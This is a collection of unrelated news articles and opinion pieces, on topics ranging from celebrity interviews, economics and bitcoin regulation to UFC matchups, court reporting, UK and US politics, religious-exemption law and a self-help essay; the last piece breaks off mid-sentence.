-Bethenny Frankel is an independent woman and she couldn’t be happier.  The Skinny Girl mogul opened up to PEOPLE about finally living the single life and how she doesn’t need a man to feel complete.  “I am living the single life. I never really lived the single life before, and I am enjoying it,” she tells PEOPLE in this week’s issue. “I have different things that I want now than I did 10 years ago and I don’t have any boxes to check.”  “I think women always want to check a box that they need to have a kid [or] it’s time to have a kid ... it’s time to get married and have someone financially support you - [but] I can check all the boxes for myself,” the Real Housewives of New York City star continues to say. “I very much have my own life, my own money, my own daughter and my own career. I don’t need a man to check any of the boxes.”  For more on Bethenny Frankel, pick up the latest issue of PEOPLE, on newsstands Friday  From Coinage: The True Cost of Famous TV Apartments  Frankel, 46, who finalized her contentious divorce battle with ex-husband Jason Hoppy last July, even joked that she doesn’t even need a man for sex.  “There are toys for that,” she laughs.  While on the topic of her divorce, the reality star explains that she finally feels a sense of relief and she no longer feels the need to hide.  “I feel so relieved. I feel so happy, so much more valid and so much more settled,” Frankel admits. “This whole situation has been despicable and I feel finally good. I didn’t know how badly I felt until I started to feel good. I feel balanced, calm, and happy and I feel like I’m participating in my own life.”  “I used to run out to the Hamptons and do yoga and hide, but now I’m traveling more and having fun,” she continues. “I am going out to dinner, and when I’m not with my daughter, I’m going out on dates. I’m just enjoying my life and I am participating in my life. I did not realize that I have not been doing that. I’ve been sort of hiding, but I am not hiding any more. I’m happy.”  The Real Housewives of New York City airs Wednesdays (9 p.m. ET) on Bravo.  This article was originally published on PEOPLE.com  Watch E! News Now on Yahoo View, available now on iOS and Android.
-BEN BERNANKE, until last year the chairman of America's Federal Reserve, has started blogging. Not just a little bit, either. Mr Bernanke has in the space of a few posts embroiled himself in a weighty online debate with some of the titans of economics, and blogging. Both Paul Krugman and Larry Summers are scrapping with the former chairman on the live and important subject of secular stagnation.  Secular stagnation is an old idea which received an intellectual revival in 2013, when Mr Summers, who not long before was one of Barack Obama's chief economic advisors, began to deliver speeches on the topic. It describes a world in which there are lots of savings and comparatively few attractive places to invest them. The excess of saving over investment represents a shortfall in demand, and weak demand shows up in anaemic growth figures and low inflation.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  Normally a central bank would try to fix the imbalance between saving and investment by reducing interest rates (which should discourage saving and encourage borrowing). But in a weak enough economy with low enough inflation the interest rate needed to balance saving and investment might become negative—maybe even really negative. Given the difficulty of achieving a negative nominal interest rate, the central bank might find it hard to push an economy out of that sort of trap once it fell in.  Indeed, Mr Summers reckons there are generally two ways out, one bad and one good. The bad one occurs when a long period of very low interest rates leads to a bubble in asset prices. The bubble in asset prices can support consumer borrowing and spending, providing an economy with the sensations of a decent recovery while the good times last (after which things often look even worse than before). The good one occurs when governments recognise the problem and take direct action to fix it: by borrowing (to soak up excess saving) and investing the proceeds of that borrowing in demand-boosting investment. Mr Summers is an advocate for this approach; he would like America's government to borrow at historically low interest rates in order to tackle the country's many pressing infrastructure needs.  At his blog, Mr Bernanke worked through these arguments and then made an important, if not entirely original, point. Unless one assumes that the entire world is in secular stagnation, secular stagnation shouldn't really be much of a long-term problem. Old countries with poor growth prospects might accumulate lots of savings and have little need for big investments. But those countries shouldn't suffer from chronic weak demand. Instead, the excess saving should flow abroad in search of better returns. Capital outflows should weaken the domestic currency, and that should lead to rising import demand from abroad. A stagnating economy should be able to export its way to a healthy level of demand.  What it means to suffer from secular stagnation  Of course, Mr Bernanke allowed, the world could get into trouble if big, fast-growing economies like China decided to save huge amounts of money by buying rich-country debt, in order to depress the value of their currencies and boost their exports. If governments were interfering in the market like that then capital might not flow the right way and secular stagnation might stick around. But the way to solve that problem, he argues, is not through deficit-financed demand stimulus but by leaning on the Chinas of the world to knock it off.  Into the discussion, then, plunges Mr Krugman. He points out that China is only part of the problem. Europe is increasingly the source of the demand drain, and Europe is not out there accumulating American debt (as China's government did in the 2000s). Instead, the euro-area economy is falling into a Japan-like trap. It is stagnating secularly, suffering from weak domestic demand while stuck with interest rates near zero. But even though the euro has fallen a lot against the dollar, it probably hasn't fallen by enough to get Europe out of its trouble.  That is because euro-area inflation has also tumbled, raising the real, or inflation-adjusted return on money stashed in Europe. German government bonds don't look like an especially good investment; the return out to 10 years, Mr Krugman points out, is effectively zero. But German bonds are safe, and given the very weak outlook for euro-area inflation they offer a real return that, in this fallen world of rock-bottom yields, is not all that bad. Less money is therefore flowing out of Europe than one might anticipate given the crummy state of euro-zone growth prospects. And the euro zone will therefore putter along in future rather than hum at its economic potential. As the Japanese example demonstrates, this sort of stagnation can last for a long time. We should therefore expect Europe to be a demand suck for a long time, and we should consider a more Summersian policy response: deficit spending.  The debate is inching toward the right question: what sort of imbalance between saving and investment do we have here, anyway? Is the problem that the world has too much saving and too little investment? Or is it that the saving and the investment are stuck in different places?  It seems obvious that the world as a whole does not have too few investment opportunities. Much of the world is very poor relative to America, which suggests that much of the world is overflowing with profitable investment opportunities. It would not cost that much money to build massive new highway networks and ports in Africa, but one could easily imagine such investments paying off handsomely. And yet the savings that could finance such investments are not flowing toward them in anything like the quantities needed to address the world's imbalances.  That isn't that hard to understand. Should capital flow to China? Given the massive investment the country has experienced over the last 15 years the return on new capital might not be especially high; meanwhile, controls on capital flows into and out of the country still make investing there more of a challenge than investing in rich economies. Many of the emerging economies with financial markets that are developed enough to handle portfolio inflows are not obviously in a position to deliver high returns: think of Brazil or Russia, for example. In much of the emerging world large-scale portfolio investment is basically impossible; foreign-direct investment is the only real option, and FDI cannot be done well at scale. That is in some ways a good thing. In countries with weak institutions a tidal wave of foreign capital could cause more harm than good. And even the limited investment that is made is illiquid, and while returns may be good on average the variance is high.  So in one sense there is a geographic imbalance between savings and investment. But this imbalance is persistent and structural. It also isn't new. It is hard to rate this as the cause of secular stagnation. The transitory geographic imbalance of the 2000s—the China glut—is fading, and yet secular stagnation remains an apparent feature of the rich world. Perhaps worst of all, China may be slipping toward stagnation as its population ages and inflation rates tumble.  The imbalance is a global one, in other words. Its effects are more or less acute depending on which big economy one focuses on. But the problem, it seems to me, is that the industrialised world has a much greater capacity to produce things than an interest in buying things. The world is stuck with too little demand. So what ought to be done about it?  Mr Bernanke's solution, to lean on currency manipulators, is probably not going to do the trick. It isn't clear that Chinese consumers are capable of driving forward the global economy. America could ask Europe and Japan to halt their quantitative easing programmes, which should push their currencies higher relative to the dollar. But that move would almost certainly lead to galloping deflation in both economies and a serious recession (and possibly a break-up) in Europe. That seems a poor way to get Europeans splashing out on new goods.  Another option, which Mr Bernanke does not consider, is for America to do more monetary easing rather than less. One way of looking at the global economy is that it is in need of a source of excess demand and upward price pressure. Rich-world central banks with interest rates close to zero can only do so much to create their own demand. They will attempt to recover by siphoning off spending from the relative well-positioned American and British economies. If those economies—which also remain stuck with low interest rates—are not allowed to run hot then the demand drain and disinflationary pressure from abroad will slowly drag them back to general crumminess.  This can be put more simply: the world as a whole is not spending enough money. Large parts of the world economy are short-run incapable of spending more for political and economic reasons. Unless other parts take up the slack, then the too-little-spending problem will grow more serious and ever more of the world will slip into this monetary trap.  What else is there? The solutions that remain are all politically tricky to implement. There is the Summersian option of deficit spending in rich countries. This could be effective in closing the savings-investment imbalance but has two big problems. The first is that doing it adequately is almost certainly beyond the capability of the American political system. As Mr Summers repeatedly points out, the government has failed manifestly to tackle even the highest-return infrastructure projects available: like improvements to America's crumbling but critical JFK airport. Republican presidents have historically had more luck running massive deficits, so circumstances might change after 2016.  Yet even then, there is a second concern: that while there are lots of positive return investments not being made in America there probably aren't that many positive return investments not being made in America. American public infrastructure needs are enormous but probably amount to about $200 billion a year at the absolute most, which is less than the euro-zone current-account surplus. Directing money to uses beyond those would probably yield relatively low returns, at least in narrow financial terms. (If America wanted to borrow heavily to build a moon base that's its business.)  Congress could just hand the money out. There is much to recommend that solution (though not its politics). It has its downsides. Much of the proceeds would go toward consumption, on goods and services produced by companies that are already investing at close to optimal levels. Lots might go toward residential investment. But the spending should also create new labour demand in low-productivity sectors, adding to employment, adding to wage pressure and kicking the economy back into a better equlibrium.  Still, this is probably not the first best solution. We would not say that savings, in that case, were being mobilised to their most productive uses. Not while so much of the world is so poor.  There is another option available. The rich world could address the imbalance within its economies while simultaneously addressing the geographic imbalance. It could allow much more immigration. Investing in people in developing countries in hard and risky. But if those people wanted to come to America and were allowed to, then lots of things change. Investing in those people would not then require that money be sent abroad, to a different financial system in a different currency overseen by a different government. If the savings are in rich countries and the most productive investments are in poor ones, then the savings can move or the investments can move.  What this discussion should make clear is that secular stagnation isn't much of a puzzle. Rather, it is a dilemma. The ageing societies of the rich world want rapid income growth and low inflation and a decent return on safe investments and limited redistribution and low levels of immigration. Well you can't have all of that. And what they have decided is that what they're prepared to sacrifice is the rapid income growth. In aggregate that decision looks somewhat reasonable if not entirely right. But it is a choice with pretty significant distributional consequences. And the second era of secular stagnation will come to an end when political and demographic shifts allow the losers from this arrangement to say: enough.
-Kinnard Hockenhull is the founder of BitBox, a US-based exchange and provider of bitcoin-related services. The company is FinCEN registered and BitBox was accepted into the most recent class at Boost VC, a venture capital firm and startup incubator located in downtown San Mateo, California.  Boost VC’s Adam Draper has invested in Coinbase and has a focus on bitcoin-based businesses: of the 17 start-ups in Boost VC’s current summer class, seven are bitcoin-related startups.  Participants in the incubator such as Hockenhull live and work on the same block, which has its own living space in the form of a renovated hotel and is located across the street above Draper University, an affiliated school that focuses on entrepreneurship and accepts bitcoin for tuition.  During my visit to Boost, I talked with Hockenhull and heard his perspective on Mt. Gox, regulation and what the future of bitcoin might look like.  CoinDesk: Are you seeing a lot of business with what has been going on with Mt. Gox?  Kinnard Hockenhull: It’s really hard to say. There’s no way for us to do analytics on that sort of thing. We did conduct a survey and we found that most of our users have used one other bitcoin exchange before. It’s probably not always Mt. Gox, but my guess is more often than not, it is.  What is your competitive advantage as a bitcoin exchange?  KH: That’s kind of complicated and that’s where my job gets very difficult because we’re not actually an exchange. Being an exchange is just one of the things that we do. Some of the other things we are doing are a little bit more nascent and are in the works. From the beginning, our intention has been to build a firm that is vertically integrated into the economy. The reason why we chose to do an exchange first is one of the problems we saw was that people needed to get bitcoin.  One of the biggest problems in bitcoin is still actually obtaining it.  KH: There are things going on here at Boost that are going to make getting bitcoin a lot easier. We’re working with Gliph (another Boost startup), for example, to try and make it easier.  You indicate on your website that you are FinCEN compliant. What does that actually entail?  KH: You basically have to go to the FinCEN website and register as a money transmitter.  That’s it?  KH: It’s actually a fairly straightforward process. The complexity comes in on the state level, if the states do decide to consider bitcoin exchanges as money transmitters. There is a huge misconception that just because you’re a money transmitter on the federal level that doesn’t make you one on the state level. That’s where the difficulty and the massive regulatory costs come in.  Because you’d have to do something for every single state, based on whatever their laws are.  KH: Right, and pay a lot of money.  Is that a threat?  KH: Well, I think that I wouldn’t call it a threat, but I think it’s very much an impediment to doing business. Especially for startups. So coming up, for me, is what we estimate to be a $1.5 million cost to get money transmitter licenses in the states where it’s required, which is kind of absurd.  Just to start a business.  KH: Right, exactly. We’re not doing that much business yet. And the way the laws have been written, they are not commensurate with the amount of business that you’re doing. Even if you’re just doing $1,000 of business, you still need to go and get the $100,000 bond. So there’s a little bit of a disconnect there.  You introduced me to the company Standard Treasury. Banks are into something like that, aren’t they?  KH: Standard Treasure is still new. They just had a demo day a few weeks ago. So, we’ll see. But yes, hopefully they do like it, because otherwise dealing with them (banks) will be like hopping on a time machine. For example, the Internet Archive Credit Union: while they were very friendly to bitcoin companies initially, their technology was not a pretty sight.  It was old?  KH: Yes. It presents problems when you’re trying to do a service at scale. When you’re doing hundreds of deposits a day, or potentially more, you can’t enter them all by hand and provide a good service to your clients. The interfaces that exist right now broadly across the banking industry are not sufficient.  Why wouldn’t a bank just hire someone like Charles Lee, the founder of Litecoin, and build a system just like Bitcoin inside of the bank?  KH: I think that there is the potential for that sort of thing. I’ve actually talked to some people at the US Treasury about something called Fedcoin but what it really comes down to is that bitcoin is a currency of choice and people will only use it if they find value in it. So I think there are certain issues that could come up as a result of a government having an unfair advantage.  Do you think that bitcoin is actually something that I’m going to be able to go down to the store and use without having to think about it? Or is the banking system going to go, “This is a good idea, let’s use that money-moving component of it”?  KH: Banks may not have that choice. Most of the world’s population at this point is unbanked. And more and more of these people are going to have cell phones. They aren’t going to need a bank. They aren’t going to ever imagine getting on the time machine and going back to the period where they would need a bank. Africa is probably the best example.  [All of the Boost VC startups will be having their demo day on September 19. Thanks to Kinnard Hockenhull of BitBox for taking the time to give this interview. – Ed]  What do you think about bitcoin and the banking industry? Do you think that banks and bitcoin can coexist? What about the challenges that bitcoin startups face when working with the banking industry?
-A featherweight bout has been added to UFC on FUEL TV 9 on April 6th in Sweden as Diego Brandao meeting Pablo Garza.  UFC officials announced the fight booking on Monday and the fight is likely to take place on the main card on FUEL TV.  Brandao (15-8) won The Ultimate Fighter 14 featherweight tournament in 2011 and has won two of his three fights in the organization. After winning the reality show, he lost to Darren Elkins at UFC 146 by decision and defeated Joey Gambino by decision at UFC 153.  Garza (12-3) has won three of his five fights in the UFC and is coming off a win over Mark Hominick at UFC 154 in Montreal. The win over Hominick snapped a two fight losing streak and two of his three wins in the UFC have come by stoppage.  UFC on FUEL TV 9 takes place on April 6th from the Ericsson Globe Arena in Stockholm, Sweden and will be headlined by Alexander Gustafsson meeting Gegard Mousasi in a five round light heavyweight bout.
-NEW YORK — Shares of Booz Allen Hamilton Holding Corp. fell on Monday, after one of the company’s employees, Edward Snowden, stepped forward as the person who last week leaked information about secret government surveillance programs to several news media outlets.  Shares fell 61 cents, or 3.4%, to US$17.39 in midday trading, a slight recovery from a 5% drop earlier in the session. That’s closer to the high end of the stock’s 52-week trading range of Us$11.85 to US$19.23.  In a statement Sunday, the McLean, Va.-based company said it has employed Snowden for less than three months on a team in Hawaii. It added that it is working with clients and authorities to investigate the leaks.  “News reports that this individual has claimed to have leaked classified information are shocking, and if accurate, this action represents a grave violation of the code of conduct and core values of our firm,” the statement said.  Booz Allen Hamilton is a consultant to government and corporate clients. About 23% of its revenue, or US$1.3-billion, came from U.S. intelligence agencies last year. The company has said in SEC filings that security breaches could materially hurt results.  Private equity firm The Carlyle Group took the company public in 2010 and owns 67% of the stock.  Stifel Nicolaus analyst William Loomis said in a note to investors that the incident is “embarrassing” for Booz Allen, but not likely to have a lasting impact, since it was just one employee who was employed there only briefly.  He kept a “Hold” rating on the stock.  Associated Press
-This post has been updated  Dozens of nurses filled a Multnomah County courtroom Friday afternoon to watch the sentencing of a woman who hurt one of their own.  Sierra McDonald, 25, was given five years probation for assaulting a nurse -- breaking her arm "like a chicken wing" -- and harassing a doctor. The medical professionals in attendance, many still dressed in blue scrubs, said the case illustrates the need for stricter laws and better enforcement when patients behave badly.  "It happens way more than you think it does, "said Bill Schueler, an emergency room nurse at Legacy Meridian Park Medical Center. "We all know it's a very bad problem."  Schueler, immediate past president of the Oregon Emergency Nurses Association, said the association is pressing for the passage of Senate Bill 132. Speaking for the association but not on behalf of Legacy, Schueler said the bill which would make assaulting a healthcare worker providing services in a hospital a Class C felony. A conviction would carry a maximum five years in prison, a $125,000 fine or both.  Multnomah County Deputy District Attorney Amanda Nadell asked Judge Thomas Ryan to impose a 36-month prison sentence on McDonald, who is currently serving time in the county for a prior conviction.  "The only way to keep the community safe is to incarcerate Miss McDonald," she said. "This is a woman with substantial anger problems."  Barbara Ward, a nurse at Legacy Emanuel Medical Center in Portland, was caring for McDonald in September when she was assaulted. McDonald broke her left arm "like a chicken wing," Ward said, and co-workers had to pull McDonald off of her. The attack occurred in front of McDonald's two young children.  "I would not feel safe if she were released," Ward told the court Friday, "nor would the roomful you see here."  Ian McKenna, an emergency room doctor at Randall Children's Hospital, said McDonald called him repeatedly and threatened to harm his wife and family. He said he'd provided medical care for McDonald many times and took her threats seriously.  "It's impairing our ability to take care of a lot of other patients as well," he said. "We're not in a position to protect ourselves in the hospital."  A third nurse said McDonald had yelled at her while providing her medication in prison.  McDonald sat quietly during the testimony, at times wiping her eyes with a tissue. She said she's been diagnosed with ulcerative colitis and Crohn's disease, and the pain and stress cause her to lash out. She also apologized to her victims and said she thinks therapy is already helping.  "I am genuinely sorry for causing them to be scared, scarred and traumatized," she said. "That's not who I am."  Chris O'Connor, McDonald's lawyer, said his client has worked hard to earn a high school diploma and is motivated to regain custody of her two children.  McDonald's father and brother were among her supporters in the courtroom. Charles McDonald apologized to his daughter's victims and said he'd like to see her get the support and help she needs.  Ryan sentenced McDonald to five years probation and warned her that she'll face prison time for violating any conditions. Her probation terms include completing 104 hours of community service, anger management courses and health evaluations. McDonald also is banned from Legacy Emanuel facilities and must pay about $6,000 in restitution.  "Take it to heart," Ryan said. "I hope to see you somewhere as a success."  After the hearing, McKenna said he worries that health care providers are still vulnerable to out-of-control patients. If SB 132 becomes law, he said, the threat of a stiffer penalty might lead to more patients acting appropriately.  "The current system is inadequate," he said. "Immediately, we need protection for hospital workers."  --Laura Frazier  503-294-4035; @frazier_laura  This post was updated with additional information about the OENA.
-Asked to name one other Conservative apart from David Cameron, members of a focus group hesitated. Then one suggested: “Ed Miliband.” Another agreed, saying: “Oh, yes, that’s right – and his brother, Ed Balls.”  The story may raise a grim smile about the ignorance of the … er … plebs. Yet for voters to name two (unrelated) Labour luminaries as Tories is one small sign of the profound and growing disconnect between politicians and the public. The late Philip Gould, Labour’s brilliant political strategist, used to compare politicians to footballers playing in empty stadiums: the spectators have all lost interest and gone home.  A new book out this week shows how Gould, the first man to make systematic use of focus groups and the first to use the term New Labour, managed not only to breathe life into Labour but also to save the Conservative Party. The account of how he did so in Philip Gould – An Unfinished Life, edited by Dennis Kavanagh, includes tributes from David Miliband, Peter Mandelson and Andrew Cooper, currently David Cameron’s director of strategy. Yet the book also chronicles what is surely the slow death of politics as we have known it and the impotence of our political leaders to halt the decline.  Gould recognised that voters, whose party allegiances were once firmly based on class, were becoming less ideological, more aspirational and much more fickle. They were changing, but the politicians were not. The battle to force change on the major parties was one of attrition. In the book, uber-moderniser Lord Mandelson talks of how he designed a new batch of Labour membership cards and “forgot” to include Clause IV – Labour’s historic commitment to nationalise just about everything. The party dinosaurs ordered the cards to be pulped and reprinted with the magic words.  Cooper, now seen by some as a lonely moderniser in today’s No 10, writes that things were no better in the Tory party after its 1997 defeat. Focus groups showed that the public saw the Tories as “old-fashioned, out of date, irrelevant”. True-blue stalwarts continued to blame media bias and Labour spin.  Under the tutelage of Gould – who, as George Osborne notes, was always willing to set aside partisan conflict and who became friends with Cooper in particular – Labour won three elections on the trot. And the Tories, having borrowed Gould’s blueprint, almost won in 2010, with their biggest increase in seats since 1932.  Yet it is hard not to see these victories as short-term advances in the long retreat of national politics. The phrase “posh boys who don’t know the price of milk” was not around in 1998, but if it had been you can bet that voters then – as now – would have ticked it as an apt description of the Tories, who are still widely viewed as out of touch. Nor is Labour much more highly regarded. It may be way ahead in the polls, yet there is no enthusiasm for the party leader – even assuming the voters know who Ed Miliband is.  As political parties continue to shrivel, politicians themselves are acutely aware of the system failing. As David Miliband notes: “While there has been a lot of talk about the radical wave of democratisation in the Middle East, there has not been much reflection on the sense of disempowerment that people feel in Western countries – not just from the political process but from key decisions that affect their lives.”  He says that you cannot have the worst economic crisis in 80 years, as we had in 2007/8, and “expect politics to carry on as before”. He also gives some riveting figures – China is creating a new economy the size of Greece every twelve and a half weeks and one the size of Spain every 16 months. Yet he says that neither the Left nor the Right of the political spectrum has shown the imagination to respond to this shock to the system. The Right, he says, has reached for austerity while the Left “has struggled to turn anger into answers”.  All our politicians are struggling to find answers. They are losing power to the markets, to the big global corporations, to the emerging economies and to the media, notably to the social media made possible by new technology. Philip Gould himself believed that the revolution was never finished. He was also an optimist. Yet, as the ancien régime decays, it is hard to see how our politics is going to be revived.  ----------  The saga of the Chief Whip, Andrew “Thrasher” Mitchell, continues to unfold, feeding public perceptions of out-of-touch Tory toffs. I understand the Downing Street police aren’t the only people he has upset. He was not popular with officials in his previous job at the Department for International Development. They gave him marks for competence, but it seems that his private office was “not a happy place”. Staff turnover there was brisk, Civil Service high-flyers did not want to work for him and if they couldn’t avoid it, they left as soon as decently possible.  Apart from a propensity for swearing – which we know about – Thrasher, who is ex-Army, had a tendency to bark out instructions like: “Go and get us some tea.” When one official mildly pointed out that tea-making was not her job, he glared at her and repeated his order for tea. His civil servants had been fervently hoping he would be reshuffled, but they wanted him replaced by his junior minister, Alan Duncan, who is seen as charming, articulate, a good manager and in tune with people – or as one insider put it, “everything that Mitchell is not”.
-Cops very likely to surprise the shit out of people by materializing out of nowhere in civilian-looking vehicles.  Phasing out the Crown Victoria.  Ken Kamami Blocked Unblock Follow Following Aug 22, 2017  If you can’t identify this as an undercover detective from a mile away, surrender your criminal license right away.  Let’s face it. Law enforcement has had a tough time this past decade trying to melt into traffic and launch surprise attacks on speeders or other more sinister actors. I used to be able to make out cops zigzagging half a mile behind me on the highway desperately trying to clock lead footers. I could tell the frustration on their faces and felt bad for whichever poor souls that couldn’t spot them on time. At the time, radar detectors were very popular. I loved the ones that scrambled the cop ones and made them spew out incomprehensible or unrealistic readings.  Nighttime cognito mode. Woe unto you if you couldn’t recognize these unmistakable headlights.  “Surely, that asswad can’t be doing 590.08 km/ hr? What’s km even? I’m getting too old for this.”  Those were king until they made the ones that even offered to pay speeding tickets if you could prove you were using them when you got busted. So traffic cops resulted to relying heavily on actually getting behind you and watching their speedometer. I was NEVER caught this way. And I ALWAYS sped. What’s the point of investing in a stick shift Honda Prelude or an Acura Integra if you won’t speed? That’s like buying a submarine and using it as a sightseeing canoe.  Speed is not the only offense frowned upon on the road. There’s the drug dealer who kidnapped a rival kingpin’s wife and is tugging at her hair while jetting down the freeway at breakneck speeds…and yelling at her. Before, he’d immediately stop doing that having easily discerned the iconic Ford’s grill. Now, these guys show up in Mustangs, Chargers and supercharged Explorers. So even if you see them in time and decide to make a run for it, they still end up reeling you in.
-WASHINGTON — In the first few months of Donald J. Trump’s presidency, if recent history is any guide, intelligence officials will meet to discuss a terrorism suspect living abroad. This suspect might become the next target for the nation’s not-so-secret drone force. Or maybe, Mr. Trump’s advisers could decide, he is worth trying to capture.  Under President Obama, security officials have followed a familiar script once they have taken someone into custody. They ask an allied country to conduct the interrogation, or instead question the suspect aboard an American warship using military interrogation techniques, then turn him over to the Justice Department for prosecution in a civilian court inside the United States.  Mr. Trump campaigned on a promise to bring back waterboarding, a banned method previously used by C.I.A. interrogators, and allow unspecified practices he called “a hell of a lot worse.” The president-elect said in an interview last week that he had heard compelling arguments that torture was not effective, though it is not clear whether he intends to retreat from his position.  If he moves ahead to fulfill his campaign pledge, it will not be easy. Federal law, international pressure and resistance from inside the C.I.A. stand in his way. Even if he overcomes those obstacles, the toll of America’s agonizing treatment of captives has left a legacy of harm that will make it harder for Trump administration lawyers to justify resuming use of the tactics.
-Michael Bird is Lecturer in Theology at Ridley College in Melbourne.  Social Progressives in Australia proudly cling to two badges.  First, there is LGBTI rights - something observed in their advocacy for marriage equality.  Second, there is their opposition to Islamophobia - something evidenced by their stand against hostile attitudes towards Muslims, particularly those currently detained in detention centres.  These are the two causes - being for LGBTI rights and being against Islamophobia - that have defined social progressives in recent years.  However, I can't help but wonder why no one seems to have noticed the seeming contradiction at work in these two causes. The fact is that Muslims are, for the most part, opposed to the LGBTI cause. They shun homosexual behaviour in their communities. Most Muslim nations shockingly imprison and execute LGBTI men and women every year.  When I see a pro-progressive protest at an Australian Christian Lobby event for their stance on marriage equality, I'm always bemused that the same people are not also out there protesting in the front of the embassies of Saudi Arabia and Iran over the capital punishment of LGBTI people.  Let us remember that Australia's Grand Mufti Ibrahim Abu Mohamed is on record for saying that homosexuality and lesbianism are a "sexual perversion." In fact, you don't have to look far in Muslim websites to find evidence of Muslims decrying homosexuality as a disease of the West and calling for severe penalties against it. Sadly, the events unfolding in Orlando are proof that radicalised Muslims will even seek out and target LGBTI people. While it is undoubtedly wrong to associate this action with all Muslims, nevertheless it does evidence a link between Islamic extremism and violence towards innocent LGBTI men and women - violence that should make us mournful as enraged at such evil.  This is the unresolved paradox of the social progressives: advocating for LGBTI communities and for Muslims who generally do not share in the values of the West's sexual revolution and regard homosexuality with either indifference or disdain. Maybe the paradox exists because both groups are victims of prejudice and intolerance which enables social progressives to live with but never resolve the tension. Even so, I do wonder how long social progressives can turn a blind eye to Muslim indifference and/or hostility to LGBTI people.  Well, we might not have to wait much longer because the subject of removing religious exemptions from section 37 of the Sex Discrimination Act is now a serious topic of discussion. What is more, the removal of the exemption has huge repercussions for religious freedom. The Greens have officially taken the position that they will remove the exemption and faith communities can simply deal with the consequences. Somewhat more benign is Bill Shorten who announced Labour's position: "We are not interested in telling religious organisations how to run their faith-based organisations" - but with the curious caveat, "at this point in time." So watch this space.  Would federal and state governments force faith-based charities, schools and even worship communities to exclude religious qualifications for employment with the threat of litigation and the prospect of any state funding being cancelled? It is not likely at this moment, but it is hardly an unrealistic scenario for the future.  So let us imagine that religious exemption laws are repealed. And consequently a Muslim school, charity, or mosque finds itself in a legal dilemma because, well, it only hires Muslims who hold to Islamic beliefs and follow the Muslim way of life. What happens next? Does anyone really expect Australian Muslims en masse to alter their deeply held religious beliefs about family and marriage and just get with social progressive program? Would this cause Muslims to feel even more resented by society than they already are? I think we already know the answers to both questions.  I sense that social progressives are positively drooling at the prospect of unleashing a legal apocalypse and financial judgment on Catholic and Christian institutions for their discriminatory hiring practices. But I'm wondering if they have the stomach to do the same thing to Muslim schools, charities and mosques? And why stop there? What about Jewish synagogues and associations or even the Baha'i communities and their charities? The rub is you can't just penalize churches and leaves the mosques and the synagogues untouched. If you are going to go after religion by repealing the religious exemption laws, then you have to go after every single religion in society.  So do the Greens and their social progressive base have the desire to be the first Western democracy to prosecute or close Islamic schools, charities and institutions for being, well, Islamic? If so, where is your anti-Islamophobia badge now?  At the risk of being shouted down in vehement rage by social progressive in the comments section below, can I ask for a few moments of indulgence to explain why I think the religious exemption laws should not be repealed.  First, the state cannot dictate to faith communities what they believe and whom they appoint to undertake services. Only by the most Erastian of policies can the state arrogate itself to such a position. The constitution supports freedom of religion and the separation of church and state, which should entail the freedom of faith communities to determine who is fitting to serve as representatives for their religious, social and charitable services.  Faith communities do, after all, make a positive contribution to society through education, charities, as well as pastoral and chaplaincy services. While the Salvos, World Vision and the Red Crescent might not have done much for you personally, they do a great deal for a good many people all over the world. The Catholic Church is one of the largest employers in the country. Many Christian schools provide affordable private education to families who otherwise could not afford it. Out of the largest 25 charities in Australia, at least 23 of them are faith based. Do the social progressive really want to go nuclear on these faith-based charities for simply doing what they've been doing since federation? (If the answer is "yes," I suggest you start using the hashtag #ErastianismNow!)  Second, diversity in a multi-cultural society entails diverse views about sexuality, family, gender and child-rearing. This is the thing that frustrates me the most about social progressives. They are all for diversity, pluralism, and tolerance. Yet they have scowling contempt for persons whose views do not line up with their social progressive values. Forgive me for saying the painstakingly obvious, but embracing diversity means embracing a society where people are genuinely ... different. Diversity means the freedom to be different without fear of reprisal. That includes different political views, different social convictions and different ethical beliefs - even on matters of sexuality.  You might not find other people's views persuasive, agreeable, or tasteful. You have the right to criticize and even mock those beliefs. But the moment you say that certain people no longer have the right to hold and live by their beliefs, you are then rejecting diversity as a value and instead are insisting on the dogmatic imposition of your own beliefs as the sole acceptable position in the public domain.  No one knows how the social progressive paradox of supporting LGBTI rights and opposing Islamophobia is going to play out. I suspect that they will bumble along together for some time yet with social progressives playing innocent to the tension.  If, however, the religious exemption laws are repealed, and if Islamic communities face litigation or lose funding for schools and charities, at least the paradox will have been settled. Should that time come, then social progressives will have finally embraced ideology over tolerance, succumbed to secularizing zeal over religious freedom, and chosen leftie dogma over genuine diversity.  Michael Bird is Lecturer in Theology at Ridley College in Melbourne.
-In Chicken Soup for the Gardener’s Soul, Jaroldeen Edwards recounts the day her daughter, Carolyn, drove her to Lake Arrowhead to visit a daffodil garden. [1]  “Several times my daughter had telephoned to say, ‘Mother, you must come see the daffodils before they are over.’ I wanted to go, but it was a two-hour drive from Laguna to Lake Arrowhead”.  Despite her reluctance, Jaroldeen agreed and made the two-hour drive in the rain and fog with Carolyn. When they arrived at the daffodil garden, Jaroldeen couldn’t believe her eyes:  “We turned a corner of the path, and I looked up and gasped. Before me lay the most glorious sight. It looked as though someone had taken a great vat of gold and poured it down over the mountain peak and slopes . . . There were five acres of flowers”.  There were daffodils are far as the eye could see.  On the land, was a house with a poster that read: “Answers to the Questions I Know You Are Asking”. The first answer was: “50,000 bulbs”. The second answer was: “One at a time, by one woman. Two hands, two feet, and [a] very little brain”. The third answer was: “Began in 1958”.  This woman had adopted what Jaroldeen would call “The Daffodil Principle”: a lifelong commitment to a goal by taking one action every day.  The Daffodil Principle  Whenever you hear about someone who’s achieved an extraordinary goal, rarely, if ever, do you hear about the process they used – that is, the ordinary actions they did consistently that helped them – you only hear about the outcome.  You hear about the entrepreneur who took his business public but not how many “no’s” he heard when he was building his business. You read about the dieter who lost 28 pounds in 30 days but not how close they were to relapsing.  We’re lead to believe that extraordinary successes are a result of one-off extraordinary actions, but they’re not – they’re a result of (1) ordinary actions done consistently (such as planting daffodil bulbs one bulb at a time) and (2) regular feedback (noticing what’s working, what isn’t and improving the former to maximise your results).  The woman who planted 50,000 bulbs not only had to plant them; she had to learn how to plant them in a way that constantly moved her towards her outcome.  Action Needs Continuous Improvement  If you want to achieve a goal, it’s not always enough to just take action (how do you know it’s the right action?); you have to constantly improve the process you’re using as well (this helps you ascertain whether it’s the right action or not).  To quote Dr. Marshall Goldsmith: “What got you here what get you there”.  If you’re unemployed and you goal is to find a job, emailing five random companies every day may feel like progress (and to an extent, it is; action is better than inaction), but if you’re not refining your resume, tweaking your cover letter and researching companies you and your skill set are best suited for – in other words, improving your process—you’re unlikely to meet your outcome.  With that in mind, you may want to consider improving your process by 1 percent every day.  A 1 percent improvement may feel insignificant (and, on its own, that may be true) but when you improve by 1 percent—in the 